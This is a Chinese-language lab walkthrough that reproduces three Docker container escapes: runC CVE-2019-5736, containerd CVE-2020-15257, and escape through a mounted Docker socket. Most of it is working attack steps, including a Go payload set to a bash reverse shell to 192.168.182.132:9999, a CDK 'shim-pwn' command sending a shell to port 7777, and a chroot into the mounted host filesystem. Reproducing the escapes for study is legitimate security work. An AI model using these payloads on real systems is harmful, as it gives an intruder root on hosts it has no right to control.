(CN) Docker Escape CVE
Docker Escape
CVE-2019-5736
1. 环境配置
靶机:Ubuntu 18.04
攻击机:kali-2023
docker版本:18.06.1
RunC 版本<=1.0-rc6
2. 环境安装
安装以下包,使得apt可以通过https使用repository
sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common
添加docker镜像源GPG密钥并更新索引包
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg |sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
查看可供下载的docker相应的版本
sudo apt-cache madison docker-ce
查看安装的docker版本信息
sudo docker info
3. 漏洞复现
生成payload
将Go脚本的Payload设置成反弹shell
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.182.132/9999 0>&1"
编译生成payload
go build main.go
将该payload拷贝到docker容器中(模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)
在攻击机kali上开启监听
执行payload,等待受害者去启动docker容器
发现受害者上线
反弹shell成功,成功获取目标主机的shell,发现此时是root用户
CVE-2020-15257
1. 环境配置
靶机:Ubuntu 18.04
攻击机:kali-2023
docker版本:18.06.1
containerd.io版本:1.2.4-1
sudo apt-get install containerd.io=1.2.4-1
2. 漏洞复现
拉取一个镜像
docker pull ubuntu:18.04
通过--net=host
作为启动参数来启动一个容器
sudo docker run -itd --net=host ubuntu:18.04 /bin/bash
进入容器:
sudo docker exec -it 91e /bin/bash
在容器内执行,可看到抽象命名空间Unix域套接字
cat /proc/net/unix | grep -a "containerd-shim"
wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
tar -zxvf cdk_v0.1.6_release.tar.gz
将cdk_linux_amd64
直接复制进docker中(模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)
sudo docker cp /home/outis/Desktop/cdk_linux_amd64 91e:/tmp
在kali上进行监听
运行payload
./cdk_linux_amd64 run shim-pwn 192.168.182.132 7777
发现在kali中上线了,反弹shell成功,成功实现逃逸,获取主机shell
挂载 Docker Socket 逃逸
1. 环境搭建
创建一个容器并挂载 /var/run/docker/sock 文件
docker exec -it with_docker_sock /bin/bash
在容器内安装 Docker 命令行客户端
docker exec -it with_docker_sock /bin/bash
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
检测
ls -lah /var/run/docker.sock
发现存在,则判断漏洞可能存在
2. 漏洞复现
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
chroot /host